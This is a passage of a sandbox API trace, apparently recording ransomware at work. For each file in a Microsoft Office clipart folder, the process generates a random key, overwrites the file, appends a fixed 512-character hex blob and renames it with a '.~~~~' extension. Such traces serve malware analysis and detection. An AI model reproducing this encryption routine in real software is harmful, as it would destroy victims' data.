	[0090.371] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0090.371] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0090.371] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0090.371] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0090.371] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0090.371] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21036103992) returned 1
	[0090.371] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9fa48f50, dwHighDateTime=0x1d60e1e)) 
	[0090.371] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0090.371] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0090.371] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0090.371] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a2138
	[0090.371] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0090.371] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2138 | out: hHeap=0x300000) returned 1
	[0090.371] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0090.371] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0090.371] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0090.371] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0090.372] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2870560
	[0090.372] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0090.372] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0090.372] GetLastError () returned 0x0
	[0090.372] GetLastError () returned 0x0
	[0090.372] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0090.372] GetLastError () returned 0x0
	[0090.372] GetLastError () returned 0x0
	[0090.389] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffff8ae, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0090.389] WriteFile (in: hFile=0x11c, lpBuffer=0x28b6ff8*, nNumberOfBytesToWrite=0x752, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28b6ff8*, lpNumberOfBytesWritten=0x1f8fec0*=0x752, lpOverlapped=0x0) returned 1
	[0090.390] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b6ff8 | out: hHeap=0x300000) returned 1
	[0090.390] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.390] WriteFile (in: hFile=0x11c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0090.390] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0090.390] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0090.390] CloseHandle (hObject=0x11c) returned 1
	[0090.391] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0090.391] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01636_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01636_.wmf.~~~~")) returned 1
	[0090.392] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0090.392] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0090.392] GetLastError () returned 0x0
	[0090.392] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394970) returned 1
	[0090.394] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0090.394] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0090.394] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0090.394] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0090.394] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0090.394] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21038402919) returned 1
	[0090.394] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9fa6f0b0, dwHighDateTime=0x1d60e1e)) 
	[0090.394] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0090.394] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0090.394] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0090.394] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a20c8
	[0090.394] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0090.394] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a20c8 | out: hHeap=0x300000) returned 1
	[0090.394] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0090.394] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0090.394] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0090.395] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0090.395] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2870728
	[0090.395] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0090.395] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0090.395] GetLastError () returned 0x0
	[0090.395] GetLastError () returned 0x0
	[0090.395] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0090.395] GetLastError () returned 0x0
	[0090.396] GetLastError () returned 0x0
	[0090.411] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffd6d6, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0090.411] WriteFile (in: hFile=0x11c, lpBuffer=0x28b6ff8*, nNumberOfBytesToWrite=0x292a, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28b6ff8*, lpNumberOfBytesWritten=0x1f8fec0*=0x292a, lpOverlapped=0x0) returned 1
	[0090.412] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b6ff8 | out: hHeap=0x300000) returned 1
	[0090.412] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.412] WriteFile (in: hFile=0x11c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0090.413] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0090.413] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0090.413] CloseHandle (hObject=0x11c) returned 1
	[0090.413] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0090.413] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01638_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01638_.wmf.~~~~")) returned 1
	[0090.414] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0090.414] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0090.414] GetLastError () returned 0x0
	[0090.414] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394970) returned 1
	[0090.415] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0090.415] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0090.416] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0090.416] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0090.416] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0090.416] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21040575923) returned 1
	[0090.416] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9fabb370, dwHighDateTime=0x1d60e1e)) 
	[0090.416] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0090.416] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0090.416] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0090.416] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x380510
	[0090.416] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0090.416] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x380510 | out: hHeap=0x300000) returned 1
	[0090.416] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0090.416] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0090.416] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0090.416] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0090.416] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2870858
	[0090.416] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0090.416] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0090.416] GetLastError () returned 0x0
	[0090.416] GetLastError () returned 0x0
	[0090.416] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0090.417] GetLastError () returned 0x0
	[0090.417] GetLastError () returned 0x0
	[0090.438] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffdb96, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0090.438] WriteFile (in: hFile=0x11c, lpBuffer=0x28b6ff8*, nNumberOfBytesToWrite=0x246a, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28b6ff8*, lpNumberOfBytesWritten=0x1f8fec0*=0x246a, lpOverlapped=0x0) returned 1
	[0090.439] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b6ff8 | out: hHeap=0x300000) returned 1
	[0090.439] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.439] WriteFile (in: hFile=0x11c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0090.439] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0090.439] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0090.439] CloseHandle (hObject=0x11c) returned 1
	[0090.439] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0090.439] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\carbn_01.mid"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\carbn_01.mid.~~~~")) returned 1
	[0090.440] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0090.440] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0090.440] GetLastError () returned 0x0
	[0090.483] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394970) returned 1
	[0090.484] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0090.484] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0090.484] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0090.484] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0090.484] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0090.484] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21047458484) returned 1
	[0090.485] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9fb538f0, dwHighDateTime=0x1d60e1e)) 
	[0090.485] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0090.485] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0090.485] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0090.485] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3805b8
	[0090.485] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0090.485] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3805b8 | out: hHeap=0x300000) returned 1
	[0090.485] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fdee0
	[0090.485] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0090.485] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d07f8
	[0090.485] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fdee0 | out: hHeap=0x300000) returned 1
	[0090.485] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c7ed0
	[0090.485] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d07f8 | out: hHeap=0x300000) returned 1
	[0090.485] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0090.485] GetLastError () returned 0x0
	[0090.485] GetLastError () returned 0x0
	[0090.485] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0090.485] GetLastError () returned 0x0
	[0090.486] GetLastError () returned 0x0
	[0090.491] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xfffff72a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0090.491] WriteFile (in: hFile=0x12c, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x8d6, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x1f8fec0*=0x8d6, lpOverlapped=0x0) returned 1
	[0090.492] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0090.492] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.492] WriteFile (in: hFile=0x12c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0090.492] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0090.492] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0090.492] CloseHandle (hObject=0x12c) returned 1
	[0090.492] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d07f8
	[0090.492] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic2.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic2.wmf.~~~~")) returned 1
	[0090.493] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d07f8 | out: hHeap=0x300000) returned 1
	[0090.493] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0090.493] GetLastError () returned 0x0
	[0090.493] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39ffc0) returned 1
	[0090.494] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0090.494] CryptReleaseContext (hProv=0x39ffc0, dwFlags=0x0) returned 1
	[0090.494] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0090.494] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0090.494] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0090.494] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21048412170) returned 1
	[0090.494] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9fb79a50, dwHighDateTime=0x1d60e1e)) 
	[0090.494] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0090.494] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0090.494] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0090.494] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x380628
	[0090.494] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0090.494] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x380628 | out: hHeap=0x300000) returned 1
	[0090.494] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fdee0
	[0090.494] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0090.494] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d07f8
	[0090.494] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fdee0 | out: hHeap=0x300000) returned 1
	[0090.494] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2870b50
	[0090.494] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d07f8 | out: hHeap=0x300000) returned 1
	[0090.494] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0090.495] GetLastError () returned 0x0
	[0090.495] GetLastError () returned 0x0
	[0090.495] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0090.495] GetLastError () returned 0x0
	[0090.495] GetLastError () returned 0x0
	[0090.498] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xffffe4c6, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0090.498] WriteFile (in: hFile=0x12c, lpBuffer=0x28b6ff8*, nNumberOfBytesToWrite=0x1b3a, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28b6ff8*, lpNumberOfBytesWritten=0x1f8fec0*=0x1b3a, lpOverlapped=0x0) returned 1
	[0090.498] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b6ff8 | out: hHeap=0x300000) returned 1
	[0090.498] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.498] WriteFile (in: hFile=0x12c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0090.499] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0090.499] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0090.499] CloseHandle (hObject=0x12c) returned 1
	[0090.499] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d0948
